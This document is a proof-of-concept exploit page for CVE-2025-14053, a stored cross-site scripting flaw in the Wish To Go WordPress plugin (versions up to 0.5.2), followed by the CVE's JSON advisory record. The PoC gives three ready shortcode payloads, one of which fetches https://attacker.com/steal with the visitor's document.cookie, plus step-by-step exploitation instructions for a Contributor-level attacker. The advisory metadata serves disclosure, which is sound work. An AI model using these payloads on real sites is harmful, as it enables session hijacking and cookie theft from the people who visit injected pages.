CVE-2025-14053

// CVE-2025-14053 PoC - Stored XSS via Shortcode // Author: Contributor+ level user // Target: Wish To Go plugin <= 0.5.2 // Method 1: Inject XSS payload via shortcode in post/page content [wish-to-go location="<img src=x onerror=alert(document.cookie)>"] // Method 2: More sophisticated payload [wish-to-go location='" onfocus="alert(String.fromCharCode(88,83,83))" autofocus="'] // Method 3: Using various shortcode attributes [wish-to-go destination="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] // Exploitation scenario: // 1. Attacker with Contributor access creates/edits a post // 2. Inserts malicious shortcode with XSS payload // 3. Post is saved and XSS is stored in database // 4. When victims visit the page, XSS executes automatically

{"cve": {"id": "CVE-2025-14053", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:51.347", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Wish To Go plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes in all versions up to, and including, 0.5.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Wish To Go para WordPress es vulnerable a Cross-Site Scripting Almacenado a través de atributos de shortcode en todas las versiones hasta la 0.5.2, inclusive, debido a la sanitización de entrada insuficiente y al escape de salida en los atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wish-to-go/tags/0.5.2/wish-to-go.php#L124", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wish-to-go/trunk/wish-to-go.php#L124", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/02b9450e-422f-45f1-a55b-cf401e39247c?source=cve", "source": "[email protected]"}]}}